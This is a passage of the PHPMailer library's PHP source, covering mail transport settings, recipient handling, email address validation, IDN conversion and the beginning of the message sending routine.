     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
